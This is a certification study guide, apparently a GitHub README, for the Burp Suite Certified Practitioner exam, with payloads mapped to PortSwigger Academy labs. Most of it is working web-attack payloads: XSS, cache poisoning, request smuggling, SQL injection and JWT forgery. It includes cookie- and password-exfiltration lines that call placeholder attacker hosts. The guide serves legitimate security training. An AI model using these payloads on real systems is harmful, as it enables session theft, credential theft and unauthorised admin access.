Skip to content

Latest commit

 

History

5 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Burp Suite Certified Practitioner

BSCP Exam Field Guide — Burp Suite Certified Practitioner

A stage-by-stage field guide for the PortSwigger Burp Suite Certified Practitioner (BSCP) exam, organised the way the exam runs: Foothold → Privesc → Exfiltration. Every vulnerability class gets a "first look" triage block, copy-paste payloads mapped to the PortSwigger Academy labs, and a note on how the lab might be twisted on the exam, so you recognise the shape under time pressure.


Table of Contents


Exam overview

The exam is three stages against two applications. Each stage gates the next.

  1. Stage 1 — Foothold: get any authenticated session.
  2. Stage 2 — Privesc: become the administrator.
  3. Stage 3 — Exfiltration: read /home/carlos/secret.

The two users. There is always an administrator account with the username administrator, plus a lower-privileged account usually called carlos.

The victim bot. Each application has up to one active user, logged in either as a user or an administrator. Assume they visit the homepage every ~15 seconds and click any link in any email the application sends them. Use the exploit server's "Deliver to victim" function to target them with reflected vulnerabilities.

The file-read service. If you find an SSRF vulnerability, you can use it to read files by accessing an internal-only service running on localhost port 6566 — e.g. http://localhost:6566/home/carlos/secret.

Which topics appear in which stage:

Topic coverage by exam stage: which technique classes are primarily used in Stage 1 (Foothold), Stage 2 (Privesc), and Stage 3 (Exfiltration)

Useful PortSwigger references:


Burp extensions

Install from Burp's BApp Store (Extensions → BApp Store):

  • ActiveScan++ — extends the active scanner with extra checks (Host header, SSTI, XXE, and more).
  • Param Miner — guesses unkeyed headers, cookies, and hidden params (web cache poisoning, Host header, hidden-param bugs).
  • HTTP Request Smuggler — auto-detects the smuggling variant and converts request bodies to chunked.
  • JWT Editor — decode, edit, and sign JWTs; alg confusion and jwk/jku/kid attacks.
  • Hackvertor — tag-based encoding and escaping (unicode/hex/octal, base64) for filter bypass.
  • Java Deserialization Scanner — detect and exploit Java deserialization (integrates ysoserial).
  • Server-Side Prototype Pollution Scanner — automates SSPP detection (json spaces, etc.).

Quick mental flow

1. Recon  ──►  active scan + Param Miner, inspect JS, .git, content discovery
2. Stage 1 ──►  any session
                ├─ XSS / DOM → steal the user's (carlos) session cookie
                ├─ Auth → brute force, host-header password reset
                └─ Cache / smuggle / host header → steal session or bypass auth
3. Stage 2 ──►  admin
                ├─ JWT / Deser type confusion (tamper your token)
                ├─ SQLi (dump admin password)
                ├─ CSRF / OAuth / CORS / Proto pollution (become admin)
                └─ Access control (role param)
4. Stage 3 ──►  read /home/carlos/secret
                ├─ SSRF → localhost:6566/home/carlos/secret
                ├─ Dir traversal / XXE (direct file read)
                └─ Cmd inj / SSTI / Deser chain / File upload / SSPP (RCE)

Symptom → where to look

Symptom in Burp Section
Search/comment field reflects HTML or JS XSS
Reflects only after URL fragment / postMessage DOM-based
Login page, password field present Authentication
Password-reset link contains the Host header Host header
X-Cache: / Age: / Via: headers Web cache poisoning
Multi-host pipeline, HTTP/2 front end Request smuggling
Cookie/param in a SQL error or timing differs SQL injection
Session is eyJ... (JWT) JWT attacks
Session is O:4:... / rO0... (serialised) Deser type confusion
id=, userId=, role=, /admin Access control
Email/password-change endpoint CSRF
/oauth/callback, code=, redirect_uri= OAuth
Access-Control-Allow-Origin reflects Origin CORS
JSON body accepts __proto__ Proto pollution / SSPP
Param accepts a URL or hostname SSRF
filename=, path=, ?file= Directory traversal
Body is XML / Content-Type: application/xml XXE
Param reaches a shell, OS error visible OS command injection
Param reflects {{}} / ${} / <%= %> execution SSTI
File / avatar upload File upload

Recon — do this first on every target

Kick off an active Burp scan and start a couple of extensions (Param Miner) running, then work the manual passes below while they finish.

  • Active scan — run an active scan in Burp, then targeted scans on any interesting fields or parameters it surfaces.
  • Burp extensions — Param Miner → "Guess headers / cookies / params" to surface unkeyed headers and hidden parameters (feeds Web Cache Poisoning, Host header, and hidden-param bugs).
  • View source + JS — inspect loaded .js for DOM-XSS sinks (eval, innerHTML, document.write, location.hash / location.search) and any leaked secrets or comments. This is where you spot the DOM-XSS sources for Stage 1.
  • Exposed .gitwget -r https://LAB-ID.web-security-academy.net/.git/, then git log / git show <hash> for removed creds and deleted endpoints.
  • Content discoveryffuf -c -w burp-labs-wordlist.txt -u https://LAB-ID.web-security-academy.net/FUZZ (wordlist from the botesjuan repo).

Stage 1 — Foothold

Goal: a foothold — any authenticated session, which on the exam is the low-privileged user (carlos). Reach it by stealing their session (XSS, DOM, or HTTP request smuggling), hijacking their password reset via Host-header injection (the temporary token lands on your exploit server), brute-forcing login, or an auth bypass.


Cross-Site Scripting (XSS)

First look: Inputs that almost always reflect: search box (?search=, ?q=, ?find=), comment/feedback/contact form, user-profile fields (stored candidate), account-update endpoints, error pages, and the URL reflected in a canonical link or og:url meta tag.

Polyglot to drop first — one string that probes every common context; then grep the response for what survives:

'"><script>{{7*7}}${7*7}$(alert(1)}"-prompt(1)-"fuzzer
  • '"> reflected literally in the body → unescaped HTML context. Try <script>alert(1)</script> or <img src=x onerror=alert(1)>.
  • &apos;&quot;&gt; (HTML-encoded) → still exploitable in attribute or JS-string contexts.
  • 49 (from 7*7) → client-side template engine present. Pivot to {{$on.constructor('alert(1)')()}}.
  • fuzzer inside <script>...</script> → JS-string context. Break out with '-alert(1)-' or ';alert(1)//.
  • fuzzer inside an attribute → "onmouseover=alert(1) to break out, or javascript:alert(1) in an href/src.

Context cheat sheetView source, find your input, the surrounding markup tells you the payload shape:

Surrounding Payload shape
<p>YOURINPUT</p> (raw HTML body) <script>alert(1)</script> · <img src=x onerror=alert(1)> · <svg onload=alert(1)>
<input value="YOURINPUT"> "><script>alert(1)</script> · " autofocus onfocus=alert(1) x="
<a href="YOURINPUT"> javascript:alert(1)
<script>var x = "YOURINPUT";</script> ";alert(1);// · "-alert(1)-"
<script>var x = `YOURINPUT`;</script> (template literal) ${alert(1)}
Page has ng-app {{$on.constructor('alert(1)')()}}
eval(... + YOURINPUT) in a JS file "-alert(1)}//

Confirm → escalate. Once alert(1) fires: swap the alert for a cookie-exfil payload (see the cookie-theft section), wrap in a delivery payload for the exploit server, use "Deliver to victim", wait ~15s, then read the stolen cookie from the access log and swap it into your Burp session.

Not XSS but looks like it: CSP blocking (payload fires in your console but not for the victim — check Content-Security-Policy), DOM clobbering (reflection is from a JS sink, not server-side — see DOM-based).

Note

On the exam the context isn't handed to you like in the labs. Read View source, work out where your input lands, and match the payload shape to it. Filters usually stack (tags, attributes, and quotes blocked at once), so be ready to brute-force the allowed tags/events (labs 13/14) or go parenthesis-free (see restrictions bypass). And the goal is the victim's session cookie (carlos at this stage), not a popup: replace alert(1) with the exfil payload. Possible shape (JS-string context, cookie exfil):

'-fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie)-'

Labs:

  1. Reflected XSS into HTML context, nothing encoded:

    GET /?search=<script>alert(1)</script>
  2. Stored XSS into HTML context, nothing encoded (comment field):

    <script>alert(1)</script>
  3. DOM XSS in document.write sink, source location.search:

    "><script>alert(1)</script>
  4. DOM XSS in innerHTML sink (no <script> on modern browsers — use img/iframe):

    <img src=x onerror=alert(1)>
  5. DOM XSS in jQuery anchor href sink (location.searchreturnPath):

    https://LAB-ID.web-security-academy.net/feedback?returnPath=javascript:alert(1)
    
  6. DOM XSS in jQuery selector sink via hashchange:

    <iframe src="https://LAB-ID.web-security-academy.net#" onload="this.src+='<img src=1 onerror=print()>'">
  7. Reflected XSS into attribute, angle brackets HTML-encoded:

    "onmouseover="alert(1)
    
  8. Reflected XSS into a JS string, angle brackets HTML-encoded:

    '-alert(1)-'
    
  9. DOM XSS in document.write inside a select element:

    https://LAB-ID.web-security-academy.net/product?productId=1&storeId="><script>alert(1)</script>
    
  10. DOM XSS in AngularJS expression (angle brackets and double quotes encoded):

    https://LAB-ID.web-security-academy.net/?search={{$on.constructor('alert(1)')()}}
    
  11. Reflected DOM XSS. searchResults.js passes the JSON response to eval():

    https://LAB-ID.web-security-academy.net/?search=\"-alert(1)}//
    
  12. Stored DOM XSS. replace() only encodes the first <:

    <><img src=1 onerror=alert(1)>
  13. Reflected XSS, most tags and attributes blocked. Brute-force allowed tags/events from the PortSwigger cheat sheet:

    Brute-forcing allowed tags in Intruder

    Brute-forcing allowed events in Intruder

    <iframe src="https://LAB-ID.web-security-academy.net/?search=<body onresize=print()>" onload=this.style.width='100px'>
  14. Reflected XSS, all tags blocked except custom ones:

    <script> location="https://LAB-ID.web-security-academy.net/?search=<xss autofocus onfocus=alert(document.cookie) tabindex=1>"</script>
  15. Reflected XSS with some SVG markup allowed:

    <svg><animatetransform onbegin=alert(1) attributeName=x dur=1s>
  16. Reflected XSS in the canonical link tag (need a valid path first):

    GET /post?postId=3&test='accesskey='X'onclick='alert(1)
  17. Reflected XSS into a JS string, single quote and backslash escaped:

    GET /?search='</script><img src=x onerror=alert(1)>
  18. Reflected XSS into a JS string, angle brackets and double quotes encoded, single quotes escaped:

    GET /?search=\'-alert(1)//
  19. Stored XSS into onclick, most things encoded/escaped. &apos; is HTML-decoded before JS runs:

    http://foo?&apos;-alert(1)-&apos;
    
  20. Reflected XSS into a template literal, everything Unicode-escaped. No need to break out, just embed an expression:

    GET /?search=${alert(document.domain)}
  21. Steal cookies via stored XSS:

    <script>new Image().src="https://YOUR-COLLAB.oastify.com/steal?c="+document.cookie;</script>
  22. Capture passwords via stored XSS (auto-fill against the injected inputs):

    <input name=username id=username>
    <input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-COLLAB.oastify.com',{method:'POST',mode:'no-cors',body:username.value+':'+this.value});">
  23. Bypass CSRF defences with XSS. Read the token, then fire the state change:

    <script>
    var req = new XMLHttpRequest();
    req.onload = handleResponse;
    req.open('get','/my-account',true);
    req.send();
    function handleResponse() {
      var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
      var changeReq = new XMLHttpRequest();
      changeReq.open('post', '/my-account/change-email', true);
      changeReq.send('csrf='+token+'&email=test@test.com');
    };
    </script>

DOM-based vulnerabilities

First look: Look at anything using the URL fragment (#, never sent to the server — server-side scans miss it), postMessage / window.addEventListener('message', ...) handlers, AJAX results rendered into the DOM, and cookie-driven UI. Inspect /resources/js/*.js for eval, innerHTML, document.write, location.hash, location.search, setTimeout with a string arg.

Quick tests: add ?domxss / #domxss canary then View source; enable DOM Invader and set the canary; drop <>'"<svg onload=alert(1)> into params, hash, and postMessage payloads.

Confirmation: your input appears in the rendered DOM but NOT in the HTTP response body → DOM-based. If it appears in the response body, it is plain reflected XSS instead.

Note

The labs name the sink and source; the exam makes you dig them out of /resources/js/*.js yourself, or let DOM Invader find both. Watch the usual gotchas: innerHTML won't run a <script>, so reach for <img onerror> / <svg onload>, and if there's a postMessage listener, check its origin validator for indexOf / startsWith weaknesses. The final sink action has to exfil the cookie, not print(). Possible shape (web-message sink, cookie exfil):

<iframe src="https://LAB-ID.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=fetch(`https://YOUR-EXPLOIT.exploit-server.net/?c=`+document.cookie)>','*')">

Labs:

  1. DOM XSS using web messages:

    Vulnerable postMessage handler

    <iframe src="https://LAB-ID.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">
  2. DOM XSS using web messages and a javascript: URL:

    Origin check via indexOf

    <iframe src="https://LAB-ID.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:>','*')">
  3. DOM XSS using web messages and JSON.parse:

    JSON.parse message handler

    <iframe src="https://LAB-ID.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
  4. DOM-based open redirection (url= parsed out of location and used as location.href):

    https://LAB-ID.web-security-academy.net/post?postId=3&url=https://YOUR-EXPLOIT.exploit-server.net
    
  5. DOM-based cookie manipulation:

    <iframe src='https://LAB-ID.web-security-academy.net/product?productId=5#'><script>print()</script>'>

Authentication

First look: Login / register / password-reset / 2FA pages. Watch for different status codes or error bodies for valid vs invalid input, account-lockout messages (they leak which usernames exist), "remember me" cookies (usually base64 user identifiers), and login-response timing.

Quick tests: compare a valid username + wrong password against an invalid username + same wrong password (status, length, time); try wiener:peter (default lab account); add X-Forwarded-For: 127.0.0.{N} and rotate to defeat IP throttling; hit /login2 / any 2FA endpoint directly with Intruder (often unbound to the session that set up the challenge).

Note

The two accounts are still administrator and carlos. Username enumeration still helps confirm the exact login name from the app's tells (a different status code, error message, or response time). Rate-limit defences vary too: rotate X-Forwarded-For, work around a per-account lock, or hit the 2FA endpoint directly if it's unbound. And whenever you come across a "stay logged in" or an unusual-looking session cookie, try tampering with it to reach a privileged account.

Labs:

  1. Username enumeration. Differences in status codes, error messages, or response times.
  2. Flawed brute-force protection. Some implementations reset the failed-attempt counter when the IP owner logs in successfully. Include valid credentials at regular intervals throughout the wordlist so the limit is never reached.
  3. Enumeration via response timing. If the app trusts X-Forwarded-For, rotate the IP while brute-forcing. Determine the valid username first with a long password to prolong the response:
    X-Forwarded-For: 127.0.0.{1}
    
    username={test}&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  4. Enumeration via account lock. Trigger the lock by including every candidate username at least 5 times, then brute-force the password anyway and watch for the one response without the error message.
  5. 2FA broken logic. If the 2FA code is verified only on the dedicated endpoint and not bound to the session that issued it, iterate the verify step independently:
    POST /login2 HTTP/2
    Cookie: verify=carlos; session=YOUR-SESSION
    
    mfa-code=§0000§
  6. Brute-forcing a stay-logged-in cookie. The "remember me" cookie is often username:md5(password), base64-encoded:
    echo 'd2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw' | base64 -d
    # wiener:51dc30ddc473d43a6011e9ebba6ca770
    hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt
  7. Offline password cracking. Steal the victim's stay-logged-in cookie via XSS, base64-decode to username:md5(password), then crack the MD5:
    <script>new Image().src="https://YOUR-COLLAB.oastify.com/steal?c="+document.cookie;</script>
  8. Password reset broken logic. Test: reset token leaking via Referer to a third-party CDN, token reuse (some apps don't invalidate), a username parameter on the final submission that the app trusts over the token's bound user, and Host header poisoning (see Host header):
    POST /forgot-password HTTP/2
    
    temp-forgot-password-token=VALID-TOKEN-FROM-OWN-RESET&username=carlos&new-password-1=hacked&new-password-2=hacked

HTTP Host header attacks

First look: Password-reset flows (email link built from a base URL that may trust the Host header), any absolute URL in the response matching the Host value, Location: headers, <script src="//..."> with a dynamic host, and behaviour that depends on visiting via localhost.

Quick tests: change Host: to evil.com; add X-Forwarded-Host / X-Host / X-Forwarded-Server; try a double Host: header (Burp Inspector); try Host: localhost against /admin.

Note

Usually only one header is honoured, so test each candidate: Host, X-Forwarded-Host, X-Host, or a duplicate Host. For password-reset poisoning, request a reset for the victim and let your exploit-server log catch the token when the bot clicks the emailed link, then use it to reset their password and log in. Routing-based SSRF uses a randomised internal IP, so Intruder across 192.168.0.0/24. Possible shape:

POST /forgot-password HTTP/1.1
Host: YOUR-EXPLOIT.exploit-server.net

username=carlos

Labs:

  1. Basic password-reset poisoning. The Host header is reflected in the reset link; capture the token from your server log when the victim clicks:

    Host: YOUR-EXPLOIT.exploit-server.net
  2. Host header authentication bypass:

    GET /admin HTTP/2
    Host: localhost
  3. Web cache poisoning via ambiguous requests. A duplicate Host header is reflected as a script source:

    GET / HTTP/1.1
    Host: LAB-ID.h1-web-security-academy.net
    Host: " onerror=alert(document.cookie);>
  4. Routing-based SSRF:

    GET /admin HTTP/2
    Host: 192.168.0.234
  5. SSRF via flawed request parsing. Supply an absolute URL so modifying the Host no longer blocks the request:

    GET https://LAB-ID.web-security-academy.net/admin HTTP/2
    Host: 192.168.0.17
  6. Host validation bypass via connection-state attack. Some servers only validate the first request on a new connection; send an innocent request first, then the malicious one down the same connection:

    Repeater group send in single connection

    GET / HTTP/1.1
    Host: LAB-ID.h1-web-security-academy.net
    GET /admin HTTP/1.1
    Host: 192.168.0.1

Web cache poisoning

First look: Responses with X-Cache: hit, Age:, Cache-Control: public, max-age=..., Via:, CF-Cache-Status:. Static-looking paths (/, /blog, /resources/js/tracking.js) are aggressively cached. Vary: tells you what is keyed.

Quick tests: Param Miner → "Guess headers" / "Guess cookies" to find unkeyed inputs; add X-Forwarded-Host: evil.com and check for reflection; always add a cache-buster (?cb=12345) while testing so you don't poison real users; match the victim's User-Agent if Vary: User-Agent is present.

Note

The unkeyed input differs each time (a header, a cookie, or a query param), so let Param Miner ("Guess headers / cookies / params") find it. The reflection sink also changes (a script src, a redirect Location, or a JSON object), so shape the payload to wherever it lands. Cache-bust every probe (?cb=random) so you don't poison your own testing and can tell a hit from a miss. Possible shape:

GET / HTTP/2
Host: LAB-ID.web-security-academy.net
X-Forwarded-Host: a."><script>fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie)</script>

Labs:

  1. Unkeyed header (Param Miner finds X-Forwarded-Host reflected and cached):
    GET / HTTP/2
    Host: LAB-ID.web-security-academy.net
    X-Forwarded-Host: " onerror=alert(document.cookie);>
  2. Unkeyed cookie (fehost reflected as a JS object):
    GET / HTTP/2
    Host: LAB-ID.web-security-academy.net
    Cookie: session=YOUR-SESSION; fehost=</script><script>alert(1)</script>
  3. Multiple headers. X-Forwarded-Host used as a redirect location when the scheme is not HTTPS:
    GET /resources/js/tracking.js HTTP/2
    Host: LAB-ID.web-security-academy.net
    X-Forwarded-Host: YOUR-EXPLOIT.exploit-server.net
    X-Forwarded-Scheme: nothttps
  4. Targeted poisoning using an unknown header (Vary: User-Agent is keyed). Grab the victim's UA via an exploit-server image request first, then:
    GET /post?postId=3 HTTP/1.1
    Host: LAB-ID.h1-web-security-academy.net
    X-Host: " onerror=alert(document.cookie);>
    User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 ... Chrome/125.0.0.0 Safari/537.36
  5. Unkeyed query string:
    GET /?'/><script>alert(1);</script>
  6. Unkeyed query parameter (Param Miner → "Guess query params" finds utm_content):
    GET /?utm_content='/><script>alert(1);</script>
  7. Parameter cloaking:
    GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)
  8. Fat GET request:
    GET /js/geolocate.js?callback=setCountryCookie HTTP/2
    
    callback=alert(1)
  9. URL normalization:
    GET /test<script>alert(1)</script>

HTTP request smuggling

First look: Any front-end/back-end pipeline (CDN, load balancer, WAF, reverse proxy). Via: / X-Cache: / Server: differing between hops. HTTP/2-fronted, HTTP/1.1-backend stacks (the downgrade is where most modern smuggling lives). Endpoints that buffer a POST body are the most reliable targets.

Quick tests: install Burp's HTTP Request Smuggler → "Smuggle probe" (auto-tests CL.TE, TE.CL, TE.TE, H2.CL, H2.TE, CL.0). For HTTP/2, use Repeater HTTP/2 mode and CRLF-inject in a header value via the Inspector.

Tips: toggle Show non-printable characters to count bytes including the trailing sequence after 0; uncheck Update Content-Length in the Repeater menu.

Note

You won't be told the variant, so let the HTTP Request Smuggler extension probe for it (CL.TE, TE.CL, TE.TE, H2.CL, H2.TE, CL.0). The usual goal is to capture another user's request (their session cookie) or slip a request through to /admin. Getting the byte counts exactly right is fiddly: in TE.CL the smuggled block needs a correct hex chunk-size prefix (like 5c). Rather than working that out by hand, use the extension's convert-to-chunked feature, and uncheck "Update Content-Length" in Repeater.

Labs:

  1. CL.TE:

    POST / HTTP/1.1
    Host: LAB-ID.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6
    Transfer-Encoding: chunked
    
    0
    
    G

    Switch HTTP/2 → HTTP/1 in the Request attributes section of the Inspector:

    Inspector protocol switch

  2. TE.CL. Include the trailing \r\n\r\n:

    POST / HTTP/1.1
    Host: LAB-ID.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 4
    Transfer-Encoding: chunked
    
    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15
    
    x=1
    0

    Show non-printable characters

  3. TE.TE. Obfuscate the TE header:

    Transfer-Encoding: chunked
    Transfer-Encoding: x

    Other obfuscations: Transfer-Encoding: xchunked, Transfer-Encoding : chunked, Transfer-Encoding:[tab]chunked, Transfer-Encoding: chunked + a second folded header.

  4. Confirming CL.TE via differential responses:

    POST / HTTP/1.1
    Content-Length: 49
    Transfer-Encoding: chunked
    
    e
    q=smuggling&x=
    0
    
    GET /404 HTTP/1.1
    Foo: x
  5. Confirming TE.CL via differential responses. Smuggle a GET /404.

  6. Front-end security-control bypass (CL.TE):

    POST /home HTTP/1.1
    Transfer-Encoding: chunked
    
    0
    
    GET /admin HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 10
    
    x=
  7. Front-end security-control bypass (TE.CL). Same idea with the TE.CL chunk framing.

  8. Revealing front-end request rewriting. A smuggled request reflects a rewritten header such as X-Custom-Ip: <FRONTEND-IP>; feed that header back with 127.0.0.1 to reach /admin.

  9. Capturing other users' requests. Position the storing parameter last; the victim's request (including their session cookie) lands in your comment:

    POST / HTTP/1.1
    Host: LAB-ID.web-security-academy.net
    Cookie: session=YOUR-SESSION
    Content-Length: 291
    Transfer-Encoding: chunked
    
    0
    
    POST /post/comment HTTP/1.1
    Host: LAB-ID.web-security-academy.net
    Cookie: session=YOUR-SESSION
    Content-Length: 950
    
    csrf=YOUR-CSRF-TOKEN&postId=6&name=Testing&email=test@testing.com&website=https://example.foo&comment=

    Captured victim request stored as a comment

  10. Delivering reflected XSS via smuggling. Smuggle a request whose User-Agent carries the XSS payload.

  11. Response queue poisoning via H2.TE. Terminate the smuggled request with \r\n\r\n after x=.

  12. H2.CL request smuggling. Send an HTTP/2 request with a bogus Content-Length, smuggling a GET /resources toward your exploit server.

  13. Request smuggling via CRLF injection. HTTP/2 header values can legally contain raw \r\n; after downgrade the back-end parses them as header separators:

    foo   bar\r\nTransfer-Encoding: chunked
    

    After downgrade the back-end sees:

    POST / HTTP/1.1
    Host: LAB-ID.web-security-academy.net
    foo: bar
    Transfer-Encoding: chunked
    
    0
    
    SMUGGLED REQUEST HERE
  14. HTTP/2 request splitting via CRLF injection:

    HTTP/2 request splitting in the Inspector

  15. CL.0 request smuggling. The back-end ignores the body's content-length on some paths:

    POST /resources/images/blog.svg HTTP/1.1
    Host: LAB-ID.web-security-academy.net
    Cookie: session=YOUR-SESSION
    Connection: keep-alive
    Content-Length: 50
    
    GET /admin/delete?username=carlos HTTP/1.1
    Foo: x

Recount Content-Length every time:

printf 'POST /admin HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1' | wc -c

Stage 2 — Privesc

Goal: become administrator. Done by tampering tokens, changing your own role to admin (a role / isAdmin field the app trusts), forging requests the admin makes, or extracting the admin's password.


SQL injection

First look: Params used as identifiers (id=, category=, order=, sort=, filter=), opaque-ID cookies (TrackingId=, LastViewed=), advanced-search filter fields, and headers logged into a DB (User-Agent, Referer, X-Forwarded-For).

Quick tests: append ' (look for a 500 / syntax error); ' OR '1'='1 vs ' OR '1'='2 (different sizes → boolean-based); '||pg_sleep(5)--, ';WAITFOR DELAY '0:0:5'--, ' AND SLEEP(5)-- (time-based across PostgreSQL / MSSQL / MySQL); for ORDER BY contexts, 1,2,3 to find the column count. Fingerprint the engine from the error (PostgreSQL, Oracle, MariaDB, Microsoft SQL Server).

UNION attacks. Determine the column count, then find a text-capable column:

' ORDER BY 1--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--       (Oracle needs FROM DUAL)
' UNION SELECT 'a',NULL,NULL,NULL--

Retrieve multiple values in one column, and examine the DB:

' UNION SELECT username || '~' || password FROM users--
' UNION SELECT @@version--                         (Microsoft/MySQL)
' UNION SELECT BANNER,NULL FROM v$version--         (Oracle)
' UNION SELECT NULL,version()--                     (PostgreSQL)

Enumerate schema (essential when table/column names are randomised):

SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'users_xxxx'

Note

Once you've pinned down the vulnerable parameter, there's usually no need to hand-craft UNION or blind payloads on the exam. Point sqlmap at it and let it enumerate and dump for you (see the sqlmap commands section).

Labs (selected payloads):

  1. Retrieval of hidden data: '+OR+1=1--
  2. Login bypass: username=administrator'--
  3. Version on Oracle:
    GET /filter?category='+UNION+SELECT+BANNER,NULL+FROM+v$version--
  4. Version on MySQL/Microsoft:
    GET /filter?category='+UNION+SELECT+@@version,+NULL#
  5. Listing contents on non-Oracle (randomised names — enumerate first):
    GET /filter?category='+UNION+SELECT+NULL,table_name+FROM+information_schema.tables--
    GET /filter?category='+UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='users_xxxx'--
    '+UNION+SELECT+username_yyyy,+password_zzzz+FROM+users_xxxx--
    

6–9. UNION column count / text column / other tables / concatenated values — as above. 10. Blind with conditional responses. Determine length, then each character: sql ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a ' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§ Cluster Bomb the position and character in Intruder; filter to highlighted responses:

![Blind SQLi character extraction in Intruder](img/sql1.png)
  1. Blind with conditional errors:
    '||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
  2. Visible error-based:
    Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--;
    PostgreSQL one-shot when an ORDER BY parameter is reflected and errors come back verbatim:
    GET /advanced_search?SearchTerm=test&organize_by=(SELECT+CAST((SELECT+password+FROM+users+LIMIT+1)+AS+int))&blogArtist=
    The cast error leaks the queried string straight into the response.
  3. Time delays: Cookie: TrackingId='||pg_sleep(10)--
  4. Time delays with retrieval:
    '%3b SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,$1$,1)='$h$') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users--
  5. OOB (DNS) interaction. Oracle:
    '+UNION+SELECT+EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-COLLAB.oastify.com/"> %remote;]>'),'/l')+FROM+dual--
    
  6. OOB data exfiltration. The admin password appears in the interaction subdomain:
    ...http://'||(SELECT password FROM users WHERE username='administrator')||'.YOUR-COLLAB.oastify.com/...
    
  7. Filter bypass via XML encoding:
    <storeId>1 &#x55;NION &#x53;ELECT password FROM users WHERE username=&#x27;administrator&#x27;</storeId>

JWT attacks

First look: Session cookies or Authorization: Bearer values starting with eyJ, three dot-separated parts. Decode the header (alg, kid, jwk, jku) and payload (identity).

Quick tests: decode in JWT Editor (Burp extension); try alg: none (Attack → "none"); brute-force the secret with hashcat -m 16500; inspect jwk / jku / kid in the header.

Note

If alg:none is filtered, try case variants (None, NONE, nOnE). The tweak to watch for is algorithm confusion (RS256 → HS256): if you can fetch the server's RS256 public key (/jwks.json, /.well-known/jwks.json), forge an HS256 token signed with that public key as the HMAC secret. In JWT Editor, load the PEM as a symmetric key (base64 the PEM into k), set alg to HS256, change the payload to sub: administrator, and sign. jwk, jku, and kid are all the same idea (make the server trust a key you control), so confirm which header the app actually honours before generating keys.

Labs:

  1. Flawed signature verification. If the signature isn't checked, edit the payload freely. If unsigned tokens are accepted, set "alg":"none" (or use JWT Editor → Attack → "none" Signing Algorithm).

  2. Brute-forcing the secret. Recover the HMAC secret, then re-sign:

    hashcat -a 0 -m 16500 <jwt> <wordlist>

    Create a symmetric signing key from the recovered secret (JWT Editor → Symmetric Key) and sign with Don't modify header selected:

    JWT Editor symmetric key from secret

    Sign with the new key, don't modify header

  3. Header injection via jwk. Embed a self-signed public key. Generate an RSA key pair in JWT Editor, add the jwk header (matching kid), or use Attack → Embedded JWK:

    Generate RSA key pair

    Embedded JWK attack

    { "kid": "<key-id>", "typ": "JWT", "alg": "RS256",
      "jwk": { "kty": "RSA", "e": "AQAB", "kid": "<key-id>", "n": "<modulus>" } }
  4. Header injection via jku. Host a jwks.json on your server and point the jku header at it (matching kid):

    jwks.json with your public key

    Sign the token referencing your jku

  5. Header injection via kid. If kid is path-traversable, force the server to use an arbitrary file as the verification key. Pointing kid at /dev/null lets you sign with an empty key. JWT Editor can't sign with an empty string, so generate a symmetric key and set k to a base64 null byte (AA==):

    Symmetric key with k = AA==

    Sign with the null-byte key


Access control

First look: robots.txt / sitemap.xml for Disallow: /admin*; JS bundles for /admin, administrator, /api/admin, role names; identifier params (id=, userId=, uuid=, email=, /users/42); profile/settings responses that contain role fields the UI hides; multi-step flows where only an early step checks auth.

Quick tests: hit /admin, /admin-panel, /administrator, /api/admin as a low-priv user; add X-Original-URL: /admin / X-Rewrite-URL: /admin / X-Forwarded-URI: /admin; change the METHOD (POSTGET); tamper hidden roleid / isAdmin / permissions[] fields.

Note

The admin path is usually hidden or randomised, so find it with content discovery before assuming it's /admin. The privesc field name varies (roleid might be isAdmin, role=admin, admin=true, or a nested key), so read the response to learn the real field before tampering. IDOR identifiers are often GUIDs you have to harvest from another endpoint rather than guess. And header or method bypasses may need stacking (X-Original-URL, a method swap, or a Referer check).

Labs:

  1. Unprotected admin functionality. robots.txt leaks /administrator-panel.
  2. Unpredictable admin URL. Leaked in JS, e.g. /admin-9ey3mj.
  3. Role controlled by a request parameter:
    GET /admin HTTP/2
    Cookie: Admin=true; session=YOUR-SESSION
  4. Role modifiable in the user profile. Changing email exposes roleid; add it to the body:
    POST /my-account/change-email HTTP/2
    Cookie: session=YOUR-SESSION
    
    {"email":"test@test.com","roleid":2}
  5. User ID in a request parameter: /my-account?id=administrator
  6. User ID with unpredictable IDs. Harvest the GUID from another endpoint (a blog post) first:
    /blogs?userId=69398d67-1cf9-4a9b-8399-8fc541e6d09b
    
  7. User ID with data leakage in redirect. You get redirected to login, but the response body still contains carlos's data (GET /my-account?id=carlos).
  8. User ID with password disclosure. Change id, read the password from source.
